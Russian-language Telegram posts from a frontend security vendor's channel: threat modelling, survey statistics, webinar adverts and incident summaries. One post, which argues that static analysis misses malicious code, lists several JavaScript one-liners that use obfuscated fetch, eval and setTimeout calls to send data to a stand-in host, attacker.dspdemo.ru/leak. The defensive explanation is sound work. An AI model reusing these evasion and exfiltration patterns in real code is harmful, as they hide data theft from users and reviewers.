Фреймворк моделирования угроз для frontend-приложений

В классическом понимании "взламывать/атаковать" frontend-приложение (белый ящик 🥡, выполняющийся в неконтролируемой зоне - браузере пользователя 🖥) не имеет смысла. На безопасность frontend-приложений следует смотреть с точки зрения "Что будет, если злоумышленник сможет внедрить свой код 🦠 к нам в приложение?"

А способов внедрить код (векторов) множество, и XSS - только один из них, причем далеко не самый критичный. Способов монетизации - десятки, поэтому мы регулярно видим крупные инциденты в frontend-приложениях 💰

Существующие подходы и каталоги угроз слабо применимы для frontend-приложений. Это приводит к непониманию векторов проникновения вредоносного кода в приложения, способов его монетизации и последствий для бизнеса 😣

DPA Analytics опубликовали фреймворк моделирования угроз для frontend-приложений. О самом фреймворке я рассказывал в докладе на PHDays 2025. Мы визуализировали его в виде Frontend Kill Chain (по принципу MITRE ATT&CK Matrix и Lockheed Martin's Cyber Kill Chain).

Скачать визуализацию можно здесь:
📄 DPA Frontend Threat Modeling Framework v1.0.0.pdf

Построить модель угроз по фреймворку для своего приложения можно в бесплатном онлайн сервисе:
☺️ Онлайн-сервис для моделирования угроз

Важно! ⚠️ Полностью защититься от всех векторов на этапе разработки/тестирования невозможно. Поэтому контролировать безопасность frontend-приложения (с помощью анализа поведения) необходимо как до релиза, так и регулярно после релиза в продакшене.

@FrontSecOps

Результаты исследования безопасности российских frontend-приложений

Мы опубликовали исследование безопасности российских frontend-приложений 🖥 за 1 полугодие 2025 года.

Были проверены приложения более 3000 крупнейших коммерческих российских компаний. С учетом актуальных угроз, известных инцидентов и повышения штрафов за невыполнение 152-ФЗ текущая оценка является неудовлетворительной ❌

⚠️ 64 % загружают скрипты с хостов за пределами РФ
⚠️ 71 % отправляют сетевые запросы на зарубежные хосты
⚠️ 7/100 эффективность конфигурации Content Security Policy (CSP)
⚠️ 50 % вызывают высокорисковые API браузера, что может быть признаком наличия в приложении вредоносного кода 🦠
⚠️ > 70% компаний рискуют получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием баз данных, размещенных за пределами РФ

Средняя оценка безопасности по всем отраслям: 39 из 100 ❌

Средняя оценка в категории онлайн-банков - 77 из 100 ⚠️; лучше чем по другим отраслям, но с учетом критичности данных приложений, этого явно не достаточно.

Полный отчет об исследовании доступен по ссылке:
📄 dpa-frontend-security-research-half-year-2025.pdf

@FrontSecOps

Вебинар по FAST-анализатору 12 ноября в 11:00 МСК

12 ноября в 11:00 МСК проведу бесплатный вебинар, где обсудим, почему в реальных инцидентах вредоносный код (js-скрипты) присутствует на веб-страницах месяцами и успешно похищает данные прямо в браузере пользователя.

На вебинаре обсудим:

🔸Актуальные угрозы: как и зачем внедряют вредоносный код в frontend-приложения и веб-страницы?

🔸Почему браузер пользователя - "слепая" зона для ИБ и идеальная точка монетизации для злоумышленника?

🔸Почему SAST, DAST, SCA, WAF, NGFW не выявляют такие угрозы и примеры реальных инцидентов?

🔸Подход Frontend Application Security Testing (FAST) и первый российский FAST-анализатор.

🔸Демо: как DPA FAST Analyzer обнаруживает вредоносное поведение js-кода и устраняет "слепую" зону.

🔸Как встроить проверки на всех этапах SSDLC/DevSecOps/РБПО и прийти к Secure by Design?

❔ Можно будет задать вопросы и получить практические рекомендации по безопасности frontend-приложений.

⏺Зарегистрируйтесь, чтобы получить ссылку на вебинар и запись после него

Дата: 12 ноября (среда)
Время: 11:00 МСК

Может ли SAST обнаружить вредоносный код?

Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода 🦠 в frontend-приложении, в том числе в зависимостях. Давайте посмотрим, почему это не так.

1️⃣ Задача SAST - поиск в коде неких антипаттернов (уязвимостей): отсутствие санитизации ввода/вывода и прочее.

2️⃣ В случае с frontend-приложениями вредоносные действия не отличаются от бизнес логики. Например, js-сниффер получает данные из формы и отправляет запрос к API (на хост злоумышленника), чтобы украсть данные 🪪. Это ничем не отличается от легитимного обработчика формы (кроме хоста получателя запроса).

3️⃣ "Из коробки" SAST не содержит правил, которые показывают все отправки данных в js-коде 🔍

4️⃣ Попробуем написать правило сами? Например, найдем все вызовы функции fetch() и будем проверять, что там нет "плохих" URL. Кто использует такие правила?

5️⃣ В JavaScript есть различные трюки для вызова функций без указания их имени, вот примеры вызова той же функции fetch(). Вставьте в консоль браузера для проверки. Сможем написать правило, которое обнаружит все эти вызовы?

fetch('https://attacker.dspdemo.ru/leak?d=secret_data_1');

window['fet' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_2');

this['\x66' + 'et' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_3');

this['\x66' + String.fromCharCode(new Date().getFullYear() - 1900 - 24) + 't' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_4');

globalThis['fetch']('https://attacker.dspdemo.ru/leak?d=secret_data_5');

Reflect.get(window, 'fetch')('https://attacker.dspdemo.ru/leak?d=secret_data_6');

6️⃣ В JavaScript есть 26+ способов отправки сетевых запросов: fetch, xhr, websocket, eventsource (connect), navigation, create element (img, iframe), css и другие. Все эти функции можно вызывать как в предыдущем пункте.

7️⃣ Т.к. код вредоносный, злоумышленник будет использовать техники скрытия вызовов 🤒, а векторов попадания вредоносного кода в приложение множество.

8️⃣ SAST не выполняет код, поэтому не видит, что внутри eval('code') (функция динамической интерпретации кода из строки). eval() тоже можно вызвать так, что SAST не найдет.

eval("fetch('https://attacker.dspdemo.ru/leak?d=secret_data_7')");

await (new Function('u', 'return fetch(u)'))('https://attacker.dspdemo.ru/leak?d=secret_data_8');

setTimeout(`(globalThis['f' + String.fromCharCode(101) + 't' + String.fromCharCode(99) + 'h'])('https://attacker.dspdemo.ru/leak?d=secret_data_9')`, 1000);

9️⃣ Даже, если мы напишем правила, которые "достоверно" обнаружат в коде все отправки сетевых запросов, мы получим десятки тысяч ложных срабатываний 🌡 (т.к. createElement - основа любого frontend-приложения).

1️⃣0️⃣ Про зависимости, кто-то анализировал SAST-ом папку node_modules? Было полезно? 😁

Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача FAST-анализатора, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения.

Завтра (12.11.2025) в 11:00 МСК на вебинаре обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора ☺️

Регистрация на вебинар

@FrontSecOps

Запись вебинара FAST: Безопасность frontend-приложений от модели угроз до продакшена в SSDLC/DevSecOps и демонстрация DPA FAST Analyzer ☺️

Часть 1. Безопасность frontend-приложений

00:00 Вступление
01:00 Бэкенд и фронтенд, уязвимости или вредоносный код, что важнее?
05:54 Зачем злоумышленникам внедрять вредоносный код в наши приложения? 💰
09:07 Вектора попадания вредоносного кода
11:25 Фреймворк моделирования угроз Frontend Kill Chain
12:46 Компоненты приложения
13:20 Размер код и npm-зависимости
15:06 Минификация и обфускация 📱
15:32 Обзор инцидентов
22:03 Как через фронтенд заражают корп. сети без доступа в интернет?
23:26 Российские приложения готовы к этим угрозам? Результаты исследования
27:43 Резюме по безопасности frontend-приложений
28:48 Почему SAST, SCA, DAST не обнаруживают актуальные угрозы?
33:20 Концепция Frontend Application Security Testing (FAST)
35:12 Как работает FAST-анализатор?

Часть 2. Демо FAST-анализатора

41:14 Демо приложение на React
42:01 Запуск сканирования в FAST-анализаторе DPA FAST Analyzer 🔎
42:32 Как записать сценарий сканирования в Chrome DevTools Recorder 📱
44:18 Результаты первого скана и создание разрешающего профиля поведения
47:33 Добавляем вредоносный код 🦠
49:09 Что делает этот вредоносный код?
50:30 Вредоносное поведение обнаружено по нескольким аномалиям 🆘
53:12 Интерфейс инвентаризации скриптов

Часть 3. FAST в DevSecOps

53:52 FAST в DevSecOps
54:38 Эффект от внедрения FAST-анализатора 🛡
55:55 Требования регуляторов
56:58 Полезные ссылки

58:18 Как запросить пилот FAST-анализатора
58:35 Как сканировать FAST-ом без сценариев. Демо "ручного" сканирования 🖥
01:00:37 Оценка безопасности приложений в FAST-анализаторе

01:01:05 Ответы на вопросы

Смотрите запись вебинара в этом посте или на любых площадках:
📹 YT 📺 VK 📺 RT

@FrontSecOps

Седьмой zeroday в Chrome за 2025 год

CVE-2025-13223 - уязвимость в V8 - открытие в браузере специально сформированной HTML-страницы приводит к выполнению произвольного кода на устройстве пользователя. Далее - шифровальщик, RAT и т.д. Если пользователь находится в корпоративной сети, это может привести к уничтожению всех данных компании, что мы уже видели в нескольких крупных инцидентах в этом году 💥

Эксплойт уже существует и используется злоумышленниками в реальных атаках 💣

Конечно, "плохие парни" могут создавать вредоносные страницы и "заманивать" туда пользователей через фишинг, но гораздо привлекательнее для злоумышленников - внедрить вредоносный код в frontend-приложения с целевой/большой посещаемостью.

Зависимости frontend-приложения - идеальный вектор для проникновения вредоносного кода в frontend-приложения, даже в приложения, доступные только внутри корпоративной сети (HRM, CRM и т.п.). В корпоративных сетях без интернета браузеры могут отставать от актуальной версии на несколько месяцев/лет 📆 (видел такое неоднократно).

Для снижения риска необходимо обновить Chrome 📱 до актуальной версии (142.0.7444.175) и регулярно проверять frontend-приложения FAST-анализатором ☺️

@FrontSecOps

⚠️⚠️⚠️ Критическая уязвимость в React Server Components и Next.js

Небезопасная десериализация, RCE. Специально сформированный HTTP-запрос неаутентифицированного пользователя приводит к выполнению произвольного кода на сервере ♥️

CVE-2025-55182 / CVSS 10.0 ☄️
Эксплойт доступен 💣

Уязвимость присутствует в версиях 19.0, 19.1.0, 19.1.1 и 19.2.0 пакетов:
🔸 react-server-dom-webpack
🔸 react-server-dom-parcel
🔸 react-server-dom-turbopack

Уязвимость затрагивает как минимум: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc и rwsdk.

Патчи опубликованы, необходимо срочно обновляться, если используются соответствующие серверные функции. И следить, что будет происходить в ближайшие дни.

Подробности:
🔸 https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
🔸 https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182

@FrontSecOps

В среду 28 января в 11:00 МСК в прямом эфире AM Live будем говорить об актуальных угрозах и средствах защиты веб-приложений 🛡

Обсудим:

🔸Цель злоумышленников, что монетизируют в первую очередь?

🔸Что важнее? WAF, Frontend Security, Anti DDOS/Bot, защита API, процессы/инвентаризация, безопасность мобильных приложений, SSDLC/РБПО?

🔸Как при внедренном WAF и защите API вредоносный скрипт на фронтенде может месяцами похищать персональные данные пользователей?

Участие бесплатное, регистрация по ссылке 🔗

JS-червь в frontend-приложении Meta-Wiki (проект Википедии)

Любопытный инцидент в Meta-Wiki (сайт, где обсуждаются события в проектах Фонда Викимедиа).

У пользователей сайта есть возможность добавления на страницу js-скриптов для кастомизации собственного интерфейса. У администраторов есть возможность изменения глобального js-скрипта, который выполняется у всех пользователей.

5 марта 2026 сотрудник из команды безопасности проекта зачем-то запустил скрипт, который "в алфавитном порядке массово импортировал (вероятно, с целью тестирования) чужие личные JavaScript-страницы из разных вики-проектов". У одного из пользователей (Ololoshka562 🤡) на странице был добавлен вредоносный js-код 🧨

Что делал вредоносный скрипт?

🔸 Проверял полномочия пользователя
🔸 При наличии прав изменял общий js-скрипт
🔸 Изменял персональный js-скрипт
🔸 Изменял случайную страницу в проекте (добавлял "несуществующую картинку дятла 🐦" и различные надписи)
🔸 При запуске у других пользователей выполнял аналогичные действия (распространение по принципу червя)

Через несколько минут общий js-скрипт был изменен, что привело к выполнению вредоносного кода у всех пользователей.

За 30 минут страницы открыли около 100 пользователей, что привело к добавлению дятла на около 4000 страниц.

Для предотвращения дальнейшей порчи контента в проекте была заблокирована возможность редактирования до очистки страниц от вредоносного кода.

Сам по себе инцидент не очень критичный, но крайне интересный с точки зрения червеобразного поведения и как пример способа реализации (монетизации) в виде выполнения действий от имени пользователя fronend-приложения ⌨️

Frontend Kill Chain :
Вектор:
🔹T-20: Инсайдеры (добавлен сотрудником по ошибке)

Способ реализации:
🔹T-76: Выполнение действий от имени пользователя (изменение страниц и распространение)

@FrontSecOps

⚠️ Компрометация npm-пакета Axios

Axios - популярный HTTP-клиент для JavaScript 📱 с > 100 млн загрузок в неделю.

Аккаунт мейнтейнера был скомпрометирован, к библиотеке была подключена вредоносная зависимость plain-crypto-js@4.2.1 и опубликованы новые версии:
🔸axios@1.14.1
🔸axios@0.30.4

Зависимость plain-crypto-js@4.2.1 содержала postinstall-скрипт, который запускал выполнение вредоносного кода на машине разработчика / раннере CI/CD - установку RAT (Remote Access Trojan) 🤒, что может привести к краже данных, установке программ-вымогателей, дальнейшему распространению по корпоративной сети и т.д.

Время присутствия в npm : 3 часа

Все индикаторы компрометации описаны здесь

@FrontSecOps

Через час выложу пост про Применимость композиционных анализаторов (SCA) для обнаружения вредоносного кода в frontend-приложениях 🖥...

А пока приглашаю всех на CISO Forum 2026 - важное событие для CISO, CIO, ИБ-архитекторов и AppSec-специалистов России.

В 16:00 выступаю с докладом «WAF внедрили, API защитили... А данные крадут собственные и партнерские js-скрипты на веб-страницах. Как защитить фронтенд?»

Много лет назад на другом мероприятии к нам подбежал человек и сказал: МУЖИКИ! ТАМ КОНЕЦ 🫨 ! ТАМ ПРЯМ ЗА СТОЛОМ DLP ПРОДАЮТ 🙄...

Мы DLP не продаем, но прямо на стенде DPA Analytics будем проводить аудиты безопасности ваших frontend-приложений с помощью FAST-анализатора 🔎

А еще на стенде разыграем джедайские мечи 🗡🌟🎁🎁🌟, которые дадут силу для защиты ваших приложений!

28 апреля 2026
Центр международной торговли (Москва)
CISO Forum 2026 → Зарегистрироваться

Почему композиционный анализ (SCA) не гарантирует отсутствие вредоносного кода в frontend-приложении?

В прошлый раз мы обсуждали, почему SAST не может обнаружить вредоносный код в frontend-приложениях. Сегодня рассмотрим SCA.

1️⃣ Современные js-фреймворки 📱 используют пакетный менеджер (npm). Все зависимости при билде упаковываются в файл-бандл (app.js, main.js и т.п.). Этот бандл подключается на веб-страницу в виде файлового скрипта. SCA-анализатору передается файл package.json/package-lock.json - по данному файлу SCA обнаружит зависимости, которые попадут в бандл.

НО на веб-странице могут быть подключены и другие скрипты 👩‍💻. В следующем примере на странице размещен бандл (main.js) и еще 2 внешних и 2 инлайн-скрипта. О них SCA не знает.

<html>
<head>
  <script src="//metrics.ru/metrics.js"></script>
  <script src="//cdn.ru/module.js"></script>
  <script src="/js/main.js"></script>
</head>

<body onload='console.log("inline 1 script")'>
  <div id="root"></div>
  <script>console.log("inline 2 script")</script>
</body>
</html>

2️⃣ У вас в проекте нет внешних и инлайн-скриптов? А вы уверены? Проверяете? На аудитах безопасности мы иногда обнаруживаем даже скрипты Яндекс Метрики в проектах, которые должны работать в корп. сетях без интернета 😱. Поэтому одной уверенности здесь мало.

3️⃣ В некоторых компаниях SCA встроен только на этапе сканирования образов контейнеров 🖥. Для frontend-приложений это бессмысленно, т.к. из файла-бандла js невозможно восстановить зависимости (невозможно = SCA этим не занимается). Поэтому ваш Trivy покажет вам только уязвимости пакетов ОС, т.к. не найдет ни одной зависимости npm. Анализировать npm-зависимости необходимо только по исходному коду (package-lock.json).

4️⃣ В js есть возможность динамического импорта модулей / добавления на страницу новых скриптов в рантайме 🔎. Любая библиотека может загрузить новые скрипты со сторонних хостов. Код даже может быть спрятан в картинке/другом ресурсе и проинтерпретирован динамически через eval(). Если такое поведение библиотеки (НДВ) еще не засветилось и не попало в базы вредоносных пакетов вашего SCA, то вы об этом не узнаете.

6️⃣ Об актуальности базы вредоносных/уязвимых пакетов. Любая база пополняется с задержкой. Например в инциденте с вредоносным кодом в библиотеке polyfill.js информация попала в базы только через 4 месяца 😭. В более 100 000 приложений 4 месяца присутствовал вредоносный код 💰

7️⃣ В хороших SCA-анализаторах есть возможность подключения внешних фидов о вредоносных пакетах. А насколько хороша бесплатная база Trivy/Grype?

8️⃣ Если для популярных пакетов кто-то заметит вредоносное поведение и сообщит SCA-вендорам, то что говорить о редких пакетах /форках /внутренних библиотеках. Информация о них вообще никогда не появится в базах SCA.

9️⃣ Тег-менеджер (Google, Яндекс и другие). Прямое назначение тег-менеджеров - динамическое добавление на страницы новых скриптов по определенным условиям. SCA не видят это.

1️⃣0️⃣ Мы не знаем зависимости внешних/сторонних скриптов. Допустим скрипт системы аналитики, мы получаем его в виде минифицированного бандла, понять его зависимости также не получится.

1️⃣1️⃣ Можно ли считать код, написанный ИИ, сторонним opensource-кодом, а не собственным? 😄

1️⃣2️⃣ Разработчик может скопировать код сторонней библиотеки в проект/сделать форк, чтобы SCA не ругался. Но это отдельная история...

Таким образом SCA-анализатор не может достоверно обнаружить все сторонние компоненты, используемые frontend-приложением, а для тех которые обнаружил полностью зависит от качества используемых баз/фидов.

Применение SCA нейтрализует всего 3 из 75 угроз по фреймворку Frontend Kill Chain.

Для безопасной разработки frontend-приложений применяются FAST-анализаторы, обнаруживающие вредоносные компоненты по поведению в рантайме браузера-песочницы 🌐

FAST обнаруживает все скрипты, даже динамически загруженные и добавленные через тег-менеджеры, и анализирует реальное поведение собственного, стороннего и сгенерированного ИИ кода. И все это без ложных срабатываний и регулярного триажа 🔎

@FrontSecOps

Интересная подборка инцидентов, связанных с вайб-кодингом 🌟

https://crackr.dev/vibe-coding-failures

Из относящихся к frontend-приложениям и NPM в этом списке - кампания PhantomRaven

Тип атаки slopsquatting: из-за галлюцинаций нейронки могут выдавать имена несуществующих зависимостей. Причем эти имена предсказуемы.

Злоумышленники загрузили в npm 126 вредоносных библиотек с такими именами. За 1 год библиотеки были загружены почти 90 000 раз 🔥

По результатам исследования "We Have a Package for You!" (arXiv:2406.10279, USENIX Security 2025) в ходе проверки 576 000 примеров кода и 16 моделей: в 19,7% предлагались несуществующие пакеты (5,2% в коммерческих моделях, 21,7% в открытых).

Сегодня в 15:00 (мск) будем говорить о рисках вайб-кодинга и DevSecOps на эфире AMLive 🗣

@FrontSecOps

Результаты исследования безопасности российских frontend-приложений Q2 2026

Опубликовали отчет, посмотрим, что изменилось за год с предыдущего исследования ↗️

Как и в прошлый раз мы c помощью FAST-анализатора проверили > 3000 публичных frontend-приложений 🖥 крупнейших коммерческих российских компаний.

Основные показатели и динамика:

⚠️ загрузка скриптов с зарубежных хостов: 48 % (-16🤔)
⚠️ отправка запросов на зарубежные хосты: 59 % (-12🤔)
⚠️ вызовы eval() и других высокорисковых функций браузера (возможный признак наличия вредоносного кода 🦠): 45 % (-5🤔)
⚠️ компании, рискующие получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием БД за пределами РФ: 59%(-11🤔)
⚠️ наличие заголовка Content Security Policy (CSP): 30 % (+7🤔)
⚠️ загрузка печально известного скрипта Битрикс Аналитика: 11% (-10🤔)
⚠️ использование Яндекс Метрики с вебвизором 57% (+20🤔) - резкий рост в связи с улучшением правила обнаружения в FAST

Средняя оценка безопасности: 49 из 100 (+10🤔)

Положительная динамика радует, но в среднем все по-прежнему на неприемлемо низком уровне ❌

❌ Эффективность конфигурации CSP: 8/100 (+1🤔) - здесь по-прежнему все печально, а просто наличие заголовка не делает приложение безопаснее.
❌ Низкие оценки в критических отраслях: транспорт (26), медицина (36), e-commerce (38).
❌ Снизилась оценка в категории онлайн-банков 75/100 (-2🤔).

С учетом актуальных угроз и известных инцидентов текущая оценка остается неудовлетворительной.

Как мы знаем: бардак 🔴, хаос и слепые зоны 👁(отсутствие непрерывной инвентаризации, управления изменениями и мониторинга) - главная причина инцидентов ИБ, а особенно для frontend-приложений, где работа в слепой зоне (браузере пользователя) - штатная неизбежная ситуация.

Знать, что делает JavaScript-код на веб-страницах во времени, близком к реальному, и быстро реагировать на несанкционированные изменения 🆘 - главная задача, которую решает анализатор класса FAST (Frontend Application Security Testing) ☺️

Полный отчет об исследовании, подробное описание рисков и рекомендации доступны по ссылке:
📄 dpa-frontend-security-research-q2-2026.pdf

@FrontSecOps